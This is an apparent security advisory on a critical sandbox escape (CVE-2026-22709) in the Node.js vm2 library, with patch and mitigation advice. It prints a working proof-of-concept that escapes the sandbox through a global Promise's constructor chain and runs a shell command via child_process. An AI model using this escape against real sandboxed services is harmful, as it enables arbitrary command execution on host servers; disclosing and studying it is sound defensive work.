Critical Sandbox Escape in vm2 Library Allows Remote Code Execution

The vm2 library for Node.js is reported to contain a critical sandbox escape flaw that lets attackers break out of isolated environments and run untrusted code on the host server. The issue is a major risk for any application that uses vm2 to execute user-supplied scripts, such as SaaS platforms, code runners, and chatbots.

The flaw is tracked as CVE-2026-22709 (CVSS score 9.8) and is caused by improper sanitization callbacks for global Promises. While the library sanitizes its own internal Promise implementation, async functions return global Promises that bypass these checks. Attackers can use this gap to access the system's main functions and escape the sandbox.

By catching a specific error, the attacker can reach the system's Function constructor. This allows them to call the child_process module and run shell commands with the same permissions as the Node.js process. This breaks all isolation guarantees provided by the library.

This exploit example creates an async function that returns a global Promise. The catch handler accesses the unsanitized constructor chain to reach the Function constructor, enabling arbitrary command execution and complete sandbox escape.

const { VM } = require("vm2");

const exploit = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
f().catch(e => {
    const Function = e.constructor.constructor;
    Function("process.mainModule.require('child_process').execSync('whoami')")();
});
`;

new VM().run(exploit);

The vm2 project was previously shut down in 2023 due to many security bugs but was restarted in late 2025. Despite its history of vulnerabilities, the library remains popular with nearly one million downloads every week on the npm platform. 

Developers must update to version 3.10.2 or 3.10.3 immediately to fix this issue. Version 3.10.1 only partially addressed the bug, leaving systems at risk. If you cannot update, you should stop running untrusted code or move to a more secure isolation method like hardware-level virtualization or containers.